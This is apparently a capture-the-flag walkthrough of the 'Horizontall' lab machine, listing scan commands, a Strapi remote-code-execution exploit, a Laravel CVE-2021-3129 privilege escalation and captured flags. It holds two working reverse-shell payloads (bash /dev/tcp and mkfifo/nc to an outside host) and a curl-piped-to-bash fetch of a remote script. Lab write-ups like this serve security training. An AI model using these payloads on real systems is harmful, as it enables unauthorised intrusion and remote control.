Information Gathering

$ ip='10.10.11.105'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
|   256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_  256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Strapi RCE

# echo "10.10.11.105 horizontall.htb">>/etc/hosts

$ feroxbuster -u 'http://horizontall.htb'

http://horizontall.htb/js/app.c68eb462.js

# echo "10.10.11.105 api-prod.horizontall.htb">>/etc/hosts

$ curl http://api-prod.horizontall.htb/admin/init|jq

$ feroxbuster -u 'http://api-prod.horizontall.htb'

http://api-prod.horizontall.htb/admin/auth/login

https://www.exploit-db.com/exploits/50239

$ python3 exp.py http://api-prod.horizontall.htb

bash -c 'bash -i >& /dev/tcp/10.10.16.28/445 0>&1'

User.txt

0985824865581079bb013f166e34e37e

Privilege Escalation:Laravel <= v8.4.2 PHPGGC Monolog RCE

https://github.com/MartinxMax/KTOR/blob/main/ktor.sh

$ curl http://10.10.16.24/ktor.sh|bash -s -- -l -p all

这里通过再靶机使用ssh-keygen命令生成私钥进行登录

$ ssh -i id_rsa -L 8000:localhost:8000 -L 1337:localhost:1337 strapi@10.10.11.105 -t /bin/bash

http://127.0.0.1:8000/

$ feroxbuster -u 'http://127.0.0.1:8000/'

https://raw.githubusercontent.com/nth347/CVE-2021-3129_exploit/refs/heads/master/exploit.py

$ python3 exp.py http://localhost:8000 Monolog/RCE1 id

$ python3 exp.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.28 10032 >/tmp/f'

Root.txt

90ed87c84901a6f1b348da73a1d57d57